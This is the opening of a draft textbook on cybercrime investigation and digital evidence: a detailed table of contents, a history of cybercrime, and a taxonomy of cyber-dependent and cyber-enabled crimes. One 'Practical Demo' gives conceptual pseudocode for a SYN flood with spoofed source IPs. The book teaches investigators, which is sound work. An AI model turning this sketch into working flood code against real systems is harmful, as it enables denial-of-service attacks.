CYBERCRIME INVESTIGATION AND DIGITAL EVIDENCE

PRINCIPLES AND PRACTICE

ElMouatez Karbab

DRAFT

Version: 0.5.411-e05dcc67

Cybercrime Investigation and Digital Evidence
Principles and Practice

ElMouatez Karbab

September 4, 2025
Version: 0.5.411-e05dcc67

Contents

1 Defining Cybercrime in the 2025 Landscape **2**
- 1.1 The Evolution of Digital Crime . . . 2
  - 1.1.1 From Phone Phreaking to the First Worms . . . 2
  - 1.1.2 The Rise of the Cybercrime Economy . . . 3
- 1.2 A Modern Cybercrime Taxonomy . . . 4
  - 1.2.1 Cyber-Dependent Crimes . . . 4
  - 1.2.2 Cyber-Enabled Crimes . . . 5
- 1.3 The Global Threat Landscape . . . 6
  - 1.3.1 Financially Motivated Actors . . . 6
  - 1.3.2 The Cybercrime-as-a-Service (CaaS) Ecosystem . . . 7
  - 1.3.3 Nation-State and State-Sponsored Actors (APTs) . . . 7
  - 1.3.4 Ideological Actors and Insiders . . . 8
- 1.4 Key Legal and Jurisdictional Challenges . . . 8

2 Cybercrime Ecosystems **16**
- 2.1 Understanding the Adversaries . . . 16
  - 2.1.1 Introduction to Threat Actor Profiling . . . 16
  - 2.1.2 Spectrum of Adversary Sophistication . . . 17
- 2.2 The CaaS Ecosystem: Crime as a Product . . . 18
  - 2.2.1 Introduction to Cybercrime-as-a-Service (CaaS) . . . 18
  - 2.2.2 Ransomware-as-a-Service (RaaS) . . . 18
  - 2.2.3 Phishing-as-a-Service (PhaaS) . . . 19
  - 2.2.4 Malware-as-a-Service (MaaS) . . . 19
  - 2.2.5 DDoS-as-a-Service (DaaS) . . . 20
- 2.3 Specialized Roles in the Cybercrime Supply Chain . . . 20
  - 2.3.1 Initial Access Brokers (IABs) . . . 20
  - 2.3.2 Infrastructure and Evasion Service Providers . . . 21
  - 2.3.3 Financial Infrastructure and Laundering . . . 21
- 2.4 Underground Marketplaces and Forums . . . 22
  - 2.4.1 The Hubs of the Cybercrime Economy . . . 22
  - 2.4.2 Building Trust Among Criminals . . . 22
  - 2.4.3 Investigative Value of Forums . . . 23
- 2.5 The Illicit Data Marketplace . . . 23
  - 2.5.1 Data as the Main Product . . . 23

2.5.2 Types of Data for Sale 24

3 Legal and Regulatory Frameworks 32
3.1 Digital Evidence Admissibility 32
3.1.1 Core Principles of Evidence 33
3.1.2 The Hearsay Rule and Its Exceptions 33
3.1.3 Authenticating Digital Evidence with Hashing 34
3.1.4 Scientific Evidence Standards 35
3.2 Authority to Search and Seize Digital Evidence 36
3.2.1 The Role of Search Warrants 36
3.2.2 Warrantless Searches and Exceptions 37
3.2.3 The Third-Party Doctrine and Service Providers 37
3.3 Maintaining the Chain of Custody 38
3.3.1 Documenting the Evidence Lifecycle 38
3.3.2 Common Failures and Avoidance 39
3.4 Navigating Jurisdictional Frameworks 40
3.4.1 International Cooperation and Treaties 40
3.4.2 Regional Privacy and Data Protection Laws 40
3.4.3 Influential National Cybercrime Statutes 41

4 Ethics, Privacy, and Professional Responsibility 47
4.1 Core Ethical Principles 47
4.1.1 The Four Pillars of Conduct 47
4.2 Privacy, Law, and Investigative Scope 50
4.2.1 The Reasonable Expectation of Privacy 50
4.2.2 Data Minimization and Scope Limitation 51
4.2.3 Managing Incidental Findings 51
4.3 Professional Conduct and Reporting 52
4.3.1 Forensic Reporting and Documentation 52
4.3.2 Expert Witness Testimony 53
4.4 Modern Ethical Challenges 53
4.4.1 Deception in Online Investigations 53
4.4.2 AI, Automation, and Algorithmic Bias 54
4.4.3 Responsible Vulnerability Disclosure 54

1 Digital Evidence Fundamentals and Lab Operations 59

5 Foundational Concepts of Digital Evidence 61
5.1 The Order of Volatility 61
5.1.1 Introduction to Volatility 61
5.1.2 The Volatility Hierarchy 62
5.2 The Three States of Digital Data 63
5.2.1 Data in Transit (Dynamic Data) 63
5.2.2 Data in Use (Volatile Memory Data) 64
5.2.3 Data at Rest (Static Data) 65

5.3 The Anatomy of a File: Data, Metadata, and Signatures 66
5.3.1 Understanding File Content vs. Metadata 66
5.3.2 File Signatures and Data Carving 67
5.4 Modern and Emerging Evidence Sources 68
5.4.1 Internet of Things (IoT) and Smart Devices 68
5.4.2 Cloud and Ephemeral Application Data 69

6 Evidence Acquisition and Preservation 75
6.1 Integrity and Chain of Custody 75
6.1.1 Never Analyze the Original 75
6.1.2 Introduction to Hashing for Integrity Verification 76
6.1.3 Maintaining the Chain of Custody 77
6.2 Post-Mortem Acquisition: Imaging Static Data 78
6.2.1 The Role of Write-Blockers 78
6.2.2 Forensic Image Formats 78
6.2.3 The Forensic Imaging Process 79
6.3 Live Response: Acquiring Volatile Data 80
6.3.1 The Order of Volatility 81
6.3.2 Techniques and Tools for Live Collection 81
6.4 Specialized Acquisition Scenarios 82
6.4.1 Cloud and API-Driven Acquisition 82
6.4.2 Mobile Device Acquisition 83
6.4.3 RAID and Damaged Media 83

7 Forensic Lab Infrastructure and Toolkits 89
7.1 Foundations of the Digital Forensics Lab 89
7.1.1 Physical and Environmental Security 89
7.1.2 Evidence Management and Control 91
7.1.3 Lab Network Architecture 92
7.2 Forensic Hardware and Workstations 93
7.2.1 The Forensic Workstation 93
7.2.2 Essential Forensic Hardware 95
7.3 Core Software and Toolkits 96
7.3.1 Forensic Suites vs. Specialized Tools 96
7.3.2 The SIFT Workstation (Linux) 97
7.3.3 Autopsy (Windows/Multi-Platform) 98
7.4 Tool Validation and Lab Accreditation 99
7.4.1 The Requirement for Tool Validation 99
7.4.2 The Validation Process 100
7.4.3 SOPs and Lab Accreditation 101

2 Core Forensic Techniques 106

8 File System and Operating System Forensics 108
8.1 The Anatomy of a File System 108

8.1.1 NTFS Internals (Windows) . . . 108
8.1.2 ext4 and APFS Internals (Linux & macOS) . . . 110
8.1.3 File Recovery Techniques . . . 111
8.2 Windows Forensic Artifacts . . . 112
8.2.1 The Windows Registry: A Goldmine of Evidence . . . 112
8.2.2 Evidence of File Access: LNK Files & Jump Lists . . . 113
8.2.3 Evidence of Program Execution . . . 114
8.2.4 Browser and Web Forensics . . . 114
8.3 Linux and macOS Forensic Artifacts . . . 115
8.3.1 Key Linux Artifacts . . . 115
8.3.2 Key macOS Artifacts . . . 116
8.4 Building the Narrative: Timeline Analysis . . . 117
8.4.1 The Power of a Super Timeline . . . 117
8.4.2 Generating Timelines with Plaso . . . 117
8.4.3 Investigating with a Timeline . . . 118

9 Foundations and Practice of Memory Forensics 124
9.1 Foundations of Memory Forensics . . . 124
9.1.1 Defining Volatile Data . . . 124
9.1.2 The Imperative for Memory Analysis . . . 125
9.1.3 The Order of Volatility Revisited . . . 126
9.2 The Memory Acquisition Toolkit . . . 126
9.2.1 Guiding Principles of Acquisition . . . 126
9.2.2 Standard Acquisition Tools . . . 127
9.2.3 The Acquisition Procedure . . . 127
9.3 Initial Triage with The Volatility Framework . . . 129
9.3.1 Introducing the Volatility Framework . . . 129
9.3.2 Establishing a Baseline . . . 130
9.3.3 Analyzing Processes and Modules . . . 130
9.3.4 Investigating Network Activity . . . 131
9.4 Advanced Malware Detection in Memory . . . 131
9.4.1 Finding Hidden Processes . . . 131
9.4.2 Identifying Code Injection . . . 132
9.4.3 Leveraging Yara for Custom Scans . . . 132
9.5 Recovering System and User Artifacts . . . 132
9.5.1 Extracting Command and Console History . . . 132
9.5.2 Recovering Temporary User Data . . . 133
9.5.3 Dumping Files from Memory . . . 133
9.5.4 Accessing the Registry and Credentials . . . 133
9.6 Analyzing Memory-Adjacent Artifacts . . . 134
9.6.1 The Pagefile (‘pagefile.sys‘) . . . 134
9.6.2 The Hibernation File (‘hiberfil.sys‘) . . . 134
9.6.3 Crash Dumps (‘.dmp‘) . . . 134

10 Network Forensics and Encrypted Traffic Analysis 140
10.1 Principles of Network Forensics 140
10.1.1 Defining Network Forensics 140
10.1.2 Key Evidence Sources 140
10.1.3 Legal and Ethical Frameworks 141
10.2 Capturing and Filtering Network Traffic 142
10.2.1 Introduction to Command-Line Capture 142
10.2.2 Practical Capture with tcpdump 142
10.2.3 Initial Triage with TShark 142
10.3 Practical PCAP Analysis with Wireshark 143
10.3.1 Mastering the Wireshark Interface 143
10.3.2 Analyzing Common Protocols 143
10.3.3 Carving Files from Network Streams 144
10.4 Navigating Modern Encryption 145
10.4.1 The TLS Handshake Demystified 145
10.4.2 Extracting Intelligence from Encrypted Metadata 145
10.5 Techniques for Traffic Decryption 146
10.5.1 Prerequisites for Decryption 146
10.5.2 Using Pre-Master Secret Keys 147
10.5.3 Ethical Man-in-the-Middle (MITM) Interception 147
10.6 Scalable Analysis with Zeek 148
10.6.1 Introduction to Zeek 148
10.6.2 Understanding Key Zeek Logs 148
10.6.3 Threat Hunting with Zeek Logs 149

11 Log Analysis for Incident Response 154
11.1 Foundations of Log Management 154
11.1.1 Introduction to the Role of Logs 154
11.1.2 The Three V's of Log Data 155
11.1.3 Essential Log Management Policies 155
11.2 Core Log Sources for Investigators 156
11.2.1 Operating System Logs 156
11.2.2 Application and Service Logs 157
11.3 Command-Line Log Analysis Techniques 158
11.3.1 The Power of Text-Processing Utilities 158
11.3.2 Essential Commands and Recipes 159
11.4 Log Normalization and Correlation 159
11.4.1 The Goal of Normalization 159
11.4.2 The Art of Correlation 160
11.5 Advanced Analysis at Scale 161
11.5.1 Building a Super Timeline with Plaso/log2timeline 161
11.5.2 SIEM and SOAR for Real-Time Response 161

3 Forensics: Mobile, Cloud & Apps 168

12 Mobile, IoT, and Cloud Forensics 170
12.1 The Modern Mobile Forensic Challenge . . . 170
12.1.1 Defining the Scope . . . 170
12.1.2 Key Differences from Computer Forensics . . . 171
12.1.3 Mobile Acquisition Levels . . . 172
12.1.4 Legal and Ethical Considerations . . . 173
12.2 Android Forensics . . . 173
12.2.1 Introduction to the Android Ecosystem . . . 173
12.2.2 Enabling Forensic Access . . . 174
12.2.3 Android Data Acquisition . . . 174
12.2.4 Analyzing Key Android Artifacts . . . 175
12.3 iOS Forensics . . . 176
12.3.1 Introduction to the Apple "Walled Garden" . . . 176
12.3.2 The Importance of Device State: AFU vs. BFU . . . 177
12.3.3 iOS Data Acquisition . . . 177
12.3.4 Analyzing Key iOS Artifacts . . . 178
12.4 Analyzing Third-Party Application Data . . . 179
12.4.1 The Central Role of App Data . . . 179
12.4.2 Common Data Formats . . . 179
12.4.3 The Encryption Challenge . . . 179
12.5 Forensics of IoT and Wearable Devices . . . 180
12.5.1 The IoT as an Evidence Source . . . 180
12.5.2 Wearables (Smartwatches, Fitness Trackers) . . . 180
12.6 Using Evidence from the Cloud . . . 181
12.6.1 The Cloud as a Digital Twin . . . 181
12.6.2 Acquisition via Legal Process . . . 181
12.6.3 Acquisition via User "Takeout" . . . 182
12.6.4 Analyzing Cloud Data . . . 182

13 Social Media and Cloud Application Forensics 188
13.1 Foundations of Application Forensics . . . 188
13.1.1 Defining Application Artifacts . . . 188
13.1.2 Common Data Storage Locations . . . 189
13.1.3 Key Data Formats in Modern Apps . . . 190
13.2 The Client-Server Investigation Model . . . 190
13.2.1 Client Data vs. Server Data . . . 190
13.2.2 Navigating the Legal Process for Cloud Data . . . 191
13.3 Forensics of Mobile-First Messaging Apps . . . 192
13.3.1 WhatsApp Forensics . . . 192
13.3.2 Signal & Telegram Forensics . . . 193
13.4 Analyzing Social Media Platform Data . . . 193
13.4.1 Facebook, Instagram, and X (Twitter) Artifacts . . . 194
13.4.2 TikTok and Discord Forensics . . . 195
13.5 Advanced Artifact Recovery Techniques . . . 195

13.5.1 Recovering Ephemeral Data . . . 195
13.5.2 File Carving for Media Fragments . . . 196
13.5.3 Aggregating Geolocation Evidence . . . 196

14 Cloud and Virtual Environment Forensics 202
14.1 Cloud & Virtualization Forensics . . . 202
14.1.1 Defining the Cloud Service Models . . . 202
14.1.2 Understanding the Shared Responsibility Model . . . 203
14.2 Preparing for Cloud Investigations . . . 204
14.2.1 The Importance of Logging . . . 204
14.2.2 Creating Emergency Forensic Access . . . 205
14.2.3 Automating the Collection of Forensic Evidence . . . 206
14.3 Collecting Evidence from CSP . . . 207
14.3.1 Collecting IaaS Evidence (AWS, Azure, GCP) . . . 207
14.3.2 Collecting SaaS Evidence (M365 & Google Workspace) . 208
14.3.3 Legal and Jurisdictional Challenges . . . 208
14.4 Virtual Machine and Hypervisor Forensics . . . 209
14.4.1 Analyzing Virtual Disk Images . . . 209
14.4.2 Live Analysis and Memory Acquisition . . . 210
14.4.3 Hypervisor-Level Investigation . . . 211
14.5 Container Forensics (Docker & Kubernetes) . . . 211
14.5.1 Docker Host Analysis . . . 212
14.5.2 Kubernetes (K8s) Forensics . . . 213
14.6 Serverless and Ephemeral Environments . . . 214
14.6.1 Serverless (FaaS) Forensic Principles . . . 214
14.6.2 Reconstructing a Serverless Incident . . . 214

15 Malware Analysis and Reverse Engineering 221
15.1 Foundations of Malware Analysis . . . 221
15.1.1 Introduction . . . 221
15.1.2 Goals and Motivations . . . 222
15.1.3 Malware Analysis Spectrum . . . 222
15.2 Creating a Secure Analysis Laboratory . . . 223
15.2.1 The Principle of Isolation . . . 223
15.2.2 Virtual Machine (VM) Setup . . . 223
15.2.3 Essential Open-Source Tooling . . . 224
15.3 Static Analysis Without Execution . . . 225
15.3.1 Introduction . . . 225
15.3.2 Initial Triage and File Identification . . . 225
15.3.3 Dissecting the Portable Executable (PE) Format . . . 227
15.3.4 Identifying Obfuscation and Packing . . . 227
15.4 Dynamic Analysis by Observation . . . 228
15.4.1 Introduction . . . 228
15.4.2 Monitoring System-Level Behavior . . . 228
15.4.3 Capturing and Analyzing Network Traffic . . . 229
15.4.4 Common Sandbox Evasion Tactics . . . 229

15.5 Reverse Engineering with Ghidra 230
15.5.1 From Assembly to High-Level Code 230
15.5.2 A Practical Workflow in Ghidra 230
15.5.3 Interactive Debugging for Deeper Insight 231
15.6 Synthesizing Findings and Reporting 232
15.6.1 Compiling Indicators of Compromise (IOCs) 232
15.6.2 Structuring the Malware Analysis Report 232

4 Specialized and Advanced Investigations 239

16 Investigating the Dark Web and Cryptocurrency 241
16.1 The Dark Web and Anonymity Networks 242
16.1.1 The Deep Web vs. The Dark Web 242
16.1.2 Understanding The Onion Router (Tor) 242
16.1.3 Operational Security (OpSec) for Investigators 244
16.1.4 Dark Web Evidence Acquisition 245
16.2 Fundamentals of Blockchain and Cryptocurrency 246
16.2.1 How a Blockchain Works 247
16.2.2 Bitcoin, Ethereum, and Public Ledgers 247
16.2.3 Privacy-Enhancing Coins (PECs) 248
16.3 Cryptocurrency Forensics: Following the Money 249
16.3.1 On-Device Cryptocurrency Forensics 249
16.3.2 Blockchain Analysis Tools and Techniques 250
16.3.3 Tracing to On-Ramps and Off-Ramps 251
16.3.4 Investigating Obfuscation and Emerging Threats 252

17 Forensics for IoT, ICS, and Operational Technology 259
17.1 Fundamentals of Embedded Systems 259
17.1.1 Defining the Landscape 259
17.1.2 Key Hardware Components 260
17.1.3 Common Operating Systems 261
17.2 Core Investigative Challenges 261
17.3 IoT Forensic Acquisition Techniques 262
17.3.1 Network-Based Acquisition 262
17.3.2 Logical Acquisition 263
17.3.3 Physical Acquisition Methods 263
17.4 IoT Evidence Analysis Techniques 264
17.4.1 Firmware Analysis 264
17.4.2 Filesystem and Memory Dump Analysis 265
17.5 ICS & Operational Technology Investigations 265
17.5.1 The IT vs. OT Divide 265
17.5.2 Safety-First Forensic Mindset 266
17.5.3 Evidence Sources in OT Environments 266
17.5.4 Analyzing Industrial Network Protocols 267

18 Forensics for Cyber-Physical and Autonomous Systems 272
18.1 Principles of Cyber-Physical Investigation 272
18.1.1 Key Forensic Artifacts in CPS 273
18.2 Automotive and Vehicle Forensics 274
18.2.1 Acquiring Data from Event Data Recorders (EDRs) . . . 274
18.2.2 Infotainment and Telematics System Analysis 275
18.2.3 Sniffing and Analyzing CAN Bus Data 275
18.3 Drone Forensics 276
18.3.1 Analyzing Onboard and Controller Storage 276
18.3.2 Parsing and Visualizing Flight Logs 277
18.4 ICS and SCADA Forensics 278
18.4.1 Analyzing PLC Memory 279
18.5 Forensic Challenges in CPS 279
18.5.1 The Challenge of Edge and Distributed Computing 279
18.5.2 Analyzing Over-the-Air (OTA) Updates 280
18.6 Legal and Ethical Considerations 280

5 Investigations: Corporate, Human & Intelligence 285

19 Investigating Social Engineering and Human Factors 287
19.1 The Psychology of Deception 287
19.1.1 Core Principles of Influence 287
19.1.2 Modern Social Engineering Vectors 289
19.2 Forensic Analysis of Phishing Attacks 290
19.2.1 Email Delivery and Header Analysis 290
19.2.2 Deconstructing Malicious Payloads 292
19.3 Investigating Business Email Compromise 293
19.3.1 Common BEC Scenarios 293
19.3.2 Forensic Investigation of Account Takeovers 294
19.4 Vishing and Smishing Investigations 295
19.4.1 Analyzing Vishing Artifacts 296
19.4.2 Deconstructing Smishing Messages 296
19.5 Attribution and Remediation 297
19.5.1 Challenges in Attribution 297
19.5.2 Financial Fraud Recovery 297
19.5.3 Remediation and User Education 297

20 Insider Threat Investigations 303
20.1 Insider Threat Investigation 303
20.1.1 Defining the Scope of the Insider Threat 303
20.1.2 Categorizing Insider Threats 304
20.1.3 Understanding Insider Motivations 304
20.1.4 The Critical Role of Collaboration 305
20.2 The Insider Threat Kill Chain 305
20.2.1 Stage 1: Triggering Event & Reconnaissance 306

20.2.2 Stage 2: Aggregation & Staging . . . 306
20.2.3 Stage 3: Obfuscation & Exfiltration . . . 306
20.2.4 Stage 4: Post-Exfiltration Activity . . . 307
20.3 Enterprise-Level Detection & Evidence . . . 307
20.3.1 Using a SIEM for Centralized Analysis . . . 307
20.3.2 Investigating User Behavior Analytics Alerts . . . 308
20.3.3 Analyzing Data Loss Prevention Logs . . . 308
20.3.4 Scrutinizing Email & Cloud Service Logs . . . 309
20.4 Host-Based Evidence Analysis . . . 309
20.4.1 Analyzing File System Artifacts . . . 309
20.4.2 Tracking Removable Device Usage . . . 310
20.4.3 Reconstructing Application & Web Activity . . . 310
20.5 Evidence to Narrative . . . 311
20.5.1 The Centrality of Timeline Analysis . . . 311
20.5.2 Establishing a Timeline of Events . . . 311
20.5.3 Proving Intent vs. Accident . . . 312
20.6 Case Study: The Departing Salesperson . . . 312

21 E-Discovery and Corporate Investigations 319
21.1 The E-Discovery Imperative . . . 319
21.1.1 Defining Electronically Stored Information . . . 319
21.1.2 E-Discovery vs. Digital Forensics . . . 320
21.1.3 The Legal & Regulatory Landscape . . . 320
21.2 The Electronic Discovery Reference Model . . . 321
21.2.1 Information Governance & Identification . . . 321
21.2.2 Preservation & Collection . . . 323
21.2.3 Processing, Review, and Analysis . . . 324
21.2.4 Production & Presentation . . . 325
21.3 Internal Corporate Investigations . . . 326
21.3.1 Establishing Authority and Scope . . . 326
21.3.2 Employee Misconduct & HR Investigations . . . 326
21.3.3 Intellectual Property Theft & Data Exfiltration . . . 327
21.3.4 Financial & Insider Fraud Investigations . . . 328

22 OSINT and Threat Intelligence Integration 333
22.1 Intelligence-Led Investigations . . . 333
22.1.1 Introduction . . . 333
22.1.2 Legal and Ethical Boundaries . . . 334
22.1.3 Investigator Operational Security (OPSEC) . . . 335
22.2 Open-Source Intelligence (OSINT) . . . 335
22.2.1 Defining the OSINT Discipline . . . 335
22.2.2 The OSINT Framework: A Structured Approach . . . 336
22.3 Core OSINT Techniques for Investigators . . . 337
22.3.1 Profiling Individuals and Groups . . . 337
22.3.2 Investigating Infrastructure: Domains and IPs . . . 337
22.3.3 Monitoring the Cybercriminal Underground . . . 339

22.4 Integrating Threat Intelligence . . . 339
22.4.1 Understanding Threat Intelligence . . . 339
22.4.2 The Pyramid of Pain . . . 340
22.4.3 Leveraging Intelligence Platforms and Standards . . . 340
22.4.4 Proactive Threat Hunting . . . 341

6 AI, Synthetic Media, and Counter-Forensics 347

23 AI-Powered Forensic Tools and Analysis 349
23.1 AI/ML Concepts for Investigators . . . 349
23.1.1 Introduction to AI as an Investigative Partner . . . 349
23.1.2 Supervised Learning: Training on Known Data . . . 350
23.1.3 Unsupervised Learning: Finding Hidden Patterns . . . 350
23.2 Practical Applications in Digital Forensics . . . 351
23.2.1 Natural Language Processing for Textual Evidence . . . 351
23.2.2 Computer Vision for Image and Video Analysis . . . 352
23.2.3 Anomaly Detection in System and Network Data . . . 353
23.3 Verifying AI Findings and Ethical Guardrails . . . 354
23.3.1 The "Black Box" Problem and Explainable AI (XAI) . . . 354
23.3.2 Model Bias and Forensic Integrity . . . 355
23.3.3 Adversarial Attacks and Evidence Integrity . . . 355

24 Deepfakes, Synthetic Media, and Counter-Forensics 359
24.1 The Challenge of Fabricated Evidence . . . 359
24.1.1 Generative AI and Deepfake Creation . . . 360
24.1.2 Forensic Detection of Synthetic Media . . . 361
24.1.3 Proactive Standards for Media Integrity . . . 362
24.2 Concealing and Destroying Evidence . . . 363
24.2.1 Data Destruction and Sanitization . . . 363
24.2.2 Trail Obfuscation and Metadata Manipulation . . . 364
24.2.3 Data Hiding with Encryption and Steganography . . . 365
24.3 Attacking the Forensic Process . . . 366
24.3.1 Evasion of Analysis Environments . . . 366
24.3.2 Attacking Forensic Tools . . . 366
24.3.3 Misdirection and Data Forgery . . . 367

7 Investigator Reporting, Testimony & Growth 372

25 Applying Critical Thinking and Reporting Findings 374
25.1 Critical Thinking and Digital Evidence . . . 374
25.1.1 Introduction to the Investigative Mindset . . . 374
25.1.2 The Scientific Method in Digital Forensics . . . 375
25.1.3 Recognizing Cognitive Biases . . . 376
25.1.4 Avoiding Logical Fallacies in Reasoning . . . 377

25.2 Crafting the Forensic Report . . . 378
25.2.1 The Foundation: Contemporaneous Notes . . . 378
25.2.2 Standard Report Structure . . . 379
25.2.3 Tailoring the Report for the Audience . . . 380
25.3 Serving as an Expert Witness . . . 380
25.3.1 Pre-Trial Qualification and Preparation . . . 381
25.3.2 Courtroom Testimony: Direct and Cross-Examination . . . 381
25.3.3 Communicating with a Non-Technical Jury . . . 382

26 Investigator Wellness and Professional Resilience 387
26.1 Psychology of Digital Investigations . . . 387
26.1.1 Defining Occupational Stressors . . . 387
26.1.2 The Impact of Disturbing Content . . . 388
26.1.3 How Stress Impairs Forensic Work . . . 389
26.2 Proactive Strategies for Individual Resilience . . . 390
26.2.1 Building Robust Support Systems . . . 390
26.2.2 Active Stress Management Techniques . . . 391
26.2.3 Seeking Professional Mental Health Support . . . 392
26.3 Organizational Responsibility & Healthy Team Cultures . . . 393
26.3.1 Leadership's Role in Protecting Teams . . . 393
26.3.2 Implementing Formal Wellness Protocols . . . 393
26.4 Sustainable, Fulfilling Careers . . . 394
26.4.1 Career-Long Learning as a Wellness Strategy . . . 395
26.4.2 Mastering Professional Boundaries . . . 395
26.4.3 Creating a Personal Development & Wellness Plan . . . 396

8 Capstone and Future Frontiers 399

27 Final Capstone: End-to-End Simulated Investigations 401
27.1 The Pre-Investigation Phase . . . 401
27.1.1 Formalizing the Investigation Plan . . . 401
27.1.2 Establishing the Case Management System . . . 403
27.2 The Core Investigation Scenarios . . . 404
27.2.1 Scenario 1: The Insider Threat . . . 404
27.2.2 Scenario 2: Ransomware Attack . . . 405
27.3 The Post-Investigation Phase . . . 406
27.3.1 Synthesizing Findings and Building a Timeline . . . 406
27.3.2 Crafting the Final Investigative Report . . . 406
27.4 Final Submission and Self-Assessment . . . 407

28 Quantum Computing and the Future of Digital Forensics 412
28.1 The Quantum Threat to Cryptography . . . 412
28.1.1 A Primer on Quantum Computation . . . 412
28.1.2 Shor's Algorithm: The Cryptpocalypse Engine . . . 413
28.1.3 Grover's Algorithm: The Brute-Force Accelerator . . . 415

28.2 Post-Quantum Cryptography (PQC) 416
28.2.1 The "Harvest Now, Decrypt Later" Threat 416
28.2.2 The NIST PQC Standardization Process 416
28.3 Forensic Readiness in the Quantum Era 417
28.3.1 Implications for Evidence Integrity and Confidentiality . . 417
28.3.2 The Hybrid Cryptography Solution 418
28.3.3 Quantum Opportunities in Forensics 419

29 Horizon Scanning: Next-Generation Threats and Defenses 424
29.1 The Future Technological Battlefield 424
29.1.1 Weaponized AI and Autonomous Agents 424
29.1.2 The Quantum Computing Threat 426
29.1.3 Forensics in the Metaverse and Augmented Reality 427
29.1.4 Brain-Computer Interfaces and Neuro-Security 428
29.2 The Shifting Legal and Social Landscape 429
29.2.1 The Splinternet and Data Sovereignty 429
29.2.2 Deepfakes and the Erosion of Digital Trust 429
29.2.3 The Right to Erasure vs. Evidentiary Preservation 430

Chapter 1

Defining Cybercrime in the 2025 Landscape

Introduction

Understanding cybercrime is essential for any modern digital investigator. This chapter explains what cybercrime is, who the attackers are, and how their crimes are classified. We will look at the different motives behind attacks and discuss the key legal challenges you will face in an investigation.

1.1 The Evolution of Digital Crime

To understand today's cybercrime, we must first look at its history. The history of cybercrime is more than just a list of technical events. It is a story about the changing reasons why people commit these crimes, the increasing damage they cause, and the constant changes made by both criminals and investigators. The change from simple system exploration to complex attacks supported by governments is similar to how the internet itself changed from a small academic network into the foundation of global society.

1.1.1 From Phone Phreaking to the First Worms

The earliest activities that came before cybercrime were not about making money. They were done because people were curious and wanted to become famous. In the 1970s, people known as *phone phreaks* explored how telephone systems worked. One famous phone phreak was John Draper (also called "Captain Crunch"). They often used simple tools to make free long-distance calls [125]. This was exploration, not organized crime. However, it showed for the first time that clever people could control complex systems if they understood the rules.

As computers became more connected, this spirit of exploration slowly changed to a desire to cause harm. Hacking groups like the Legion of Doom began to break into computer systems. They were no longer just curious; they started to steal data and damage systems. The true turning point was in 1988. This key moment showed how a single action could cause huge damage everywhere.

Real-World Story: The Morris Worm, On November 2, 1988, Robert Tappan Morris, a student at Cornell University, released a small program onto the early internet. This program was a *worm*, which is a type of malicious software that automatically copies itself to spread to other computers. Morris said his worm was an experiment to measure how big the network was. However, a mistake in the code made it spread much faster than he expected. It infected and crashed thousands of computers, which was a large part of the entire internet at that time. This event was a major warning. It showed that one person could cause widespread damage, even by accident. As a result, the first Computer Emergency Response Team (CERT/CC) was created. Morris was also convicted under the new Computer Fraud and Abuse Act (CFAA), becoming the first person found guilty under that law [190].

In early cases like this one, digital evidence was very basic compared to today. It often included notes from system administrators, server logs, and records of telephone connections. The field of digital forensics was just beginning and was learning how to deal with this new type of crime.

1.1.2 The Rise of the Cybercrime Economy

The late 1990s was a key turning point when businesses started using the internet to make money. As legal business moved online, crime did too. Many more non-technical people began using the internet, which created a good environment for fraud. For example, early e-commerce websites like eBay had problems with auction fraud. Also, the first major *phishing* emails appeared. Phishing is a method where criminals send fake emails to trick users into giving away their personal and financial information.

This period was also when malware became more professional. Simple viruses, which were often created just so the creator could show off their skills, changed into complex tools designed only to make money. For example, *banking trojans* were developed. A banking trojan is a type of malware designed specifically to steal online banking information. The famous Zeus trojan was created to steal this information on a very large scale. Zeus used a system where infected computers, called *bots*, connected to a central server controlled by the criminals. This central server is called a *command-and-control (C2) server*. From the C2 server, the criminals could collect data, record keystrokes, and start fake money transfers [1]. During this time, *exploit kits* also started to appear. An exploit kit is a software package that makes it easy to attack computers by automatically using known security weaknesses in web browsers and other software. This allowed criminals with fewer technical skills to infect victims.

1.2 A Modern Cybercrime Taxonomy

To investigate and prosecute digital crimes well, experts need a clear way to organize them. A good classification system, known as a *taxonomy*, helps investigators choose the right investigation method, the correct tools, and the relevant laws. A taxonomy is a formal system for naming and classifying things. Modern cybercrimes are usually divided into two main groups: cyber-dependent and cyber-enabled [154].

1.2.1 Cyber-Dependent Crimes

Cyber-dependent crimes are crimes that can only happen by using computers, computer networks, or other information technology. These crimes exist only because of digital technology and have no equivalent in the physical world.

Using Malware and Ransomware This is the creation, changing, and sharing of malicious software. *Ransomware* is a specific type of malware that locks a victim's files and demands a payment (a ransom) to unlock them. Using malware is the basic action that leads to many other crimes. Key evidence includes the malware program itself (for detailed analysis), logs from C2 servers, network traffic data that shows the malware's activity, and records of cryptocurrency payments for ransoms.

Denial-of-Service (DoS/DDoS) Attacks A *Denial-of-Service (DoS)* attack overloads a target system, service, or network with too much internet traffic. This makes the system unavailable to normal users. A *Distributed Denial-of-Service (DDoS)* attack is a larger attack that uses many computers to send the traffic. Key evidence includes *network flow data* (like NetFlow), which gives summary information about traffic. Other evidence is a *full packet capture* (PCAP), which is a complete recording of network data, and logs from botnet C2 servers or illegal "booter/stresser" services that can be rented to perform these attacks.

Practical Demo: SYN Flood Attack, A classic DoS attack is the SYN flood. It takes advantage of the normal *three-way handshake* process that computers use to start a network connection over TCP. The attacker sends many connection request packets (SYN packets) to the target server. These packets often use fake sender IP addresses. The server replies to each request and waits for a final response that never comes. This quickly fills up the server's memory for new connections, which stops real users from being able to connect. In pseudocode, the main action is simple:

```
# Attacker's script (concept)
function syn_flood(target_ip, target_port):
    while True:
        # Spoof the source IP to hide origin and
```

```
# prevent reset packets from reaching us.
spoofed_ip = generate_random_ip()

# Create and send the SYN packet.
packet = create_syn_packet(
    source_ip=spoofed_ip,
    dest_ip=target_ip,
    dest_port=target_port
)
send(packet)
```

When thousands of bots do this simple action at the same time in a distributed attack (DDoS), it can easily use up all the resources of a powerful server.

Hacking / Unauthorized Access This means illegally entering a computer system or network. This is the main act of breaking in. Key evidence includes logs from firewalls and *Intrusion Detection/Prevention Systems (IDS/IPS)*. An IDS/IPS is a security tool that monitors a network for malicious activity. Other evidence includes system login records (like Windows Event Logs or Linux auth.log) and digital clues that show an attacker moved between computers inside the network (this is called *lateral movement*).

1.2.2 Cyber-Enabled Crimes

Cyber-enabled crimes are traditional crimes that are made bigger or easier to commit by using computers or the internet. The crime could happen without technology, but technology acts as a powerful tool to amplify it.

Online Fraud and Scams This is a wide category of crimes. It includes things like *Business Email Compromise (BEC)*, romance scams, and investment fraud. The internet allows criminals to contact many potential victims around the world while making it easier to hide their identity. Evidence includes *email headers*, which are technical details that can show the true origin of an email. Other evidence includes records of fake money transfers and data from social media accounts.

